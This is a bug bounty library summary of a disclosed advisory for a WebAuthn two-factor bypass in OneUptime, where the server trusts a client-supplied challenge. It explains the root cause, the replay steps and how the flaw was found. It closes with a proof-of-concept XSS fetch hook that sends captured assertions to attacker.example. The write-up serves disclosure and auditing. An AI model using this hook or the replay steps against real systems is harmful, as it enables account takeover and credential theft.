# OneUptime has WebAuthn 2FA bypass: server accepts client-supplied challenge instead of server-stored value, allowing credential replay

OneUptime's WebAuthn verification reads expectedChallenge from the client request body instead of server storage, letting a captured assertion be replayed to bypass 2FA.

- Payout: Research
- Severity: high
- Program: OneUptime
- Found by: dorakemon
- Disclosed: 2026-03-02
- CVE: CVE-2026-28787
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gjjc-pcwp-c74m
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-gjjc-pcwp-c74m
- Tags: area:web domain:web impact:ato kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:auth-bypass vuln:mfa-bypass

**Target:** WebAuthn login endpoint (/api/identity/authentication/login)
**Root cause:** Server generates a WebAuthn challenge but never persists it; verification uses the client-supplied challenge from the request body as expectedChallenge, so a captured assertion always self-matches.
**Steps:**
1. Capture a valid WebAuthn assertion (challenge + credential) from a victim's login, e.g. via XSS hooking window.fetch on the /verify call.
2. POST /api/identity/authentication/login with victim email, password, and the captured `challenge` and `credential` fields.
3. Server passes body `challenge` as expectedChallenge to verifyAuthenticationResponse; it matches clientDataJSON and the signature is valid, so login succeeds.
**How found:** Code review of UserWebAuthnService.ts and Authentication.ts: noticed generateAuthenticationOptions result only returned to client, and expectedChallenge read from untrusted request body rather than session/DB.
**Exploitation:** Attacker needs victim's password plus one captured assertion. Replaying the same challenge+credential pair indefinitely yields a valid session token, bypassing the second factor without the authenticator device.
**Escalation:** Chained with stored XSS (Mermaid on status pages) to capture assertions, missing rate limiting for credential stuffing, and user enumeration via differential errors.
**Insight:** When auditing WebAuthn/passkey flows, grep for expectedChallenge and confirm it comes from server-side session/DB state, not the request body; a self-consistent captured assertion will always verify if the challenge isn't stored.

## Proof of concept (copied exactly from the original report)

**XSS fetch hook exfiltrating WebAuthn assertion**

```
const origFetch = window.fetch;
   window.fetch = async function(url, opts) {
     if (url.includes('/verify') && opts?.body) {
       const body = JSON.parse(opts.body);
       if (body.data?.credential) {
         // Exfiltrate the assertion
         navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({
           challenge: body.data.challenge,
           credential: body.data.credential
         }));
       }
     }
     return origFetch.apply(this, arguments);
   };
```

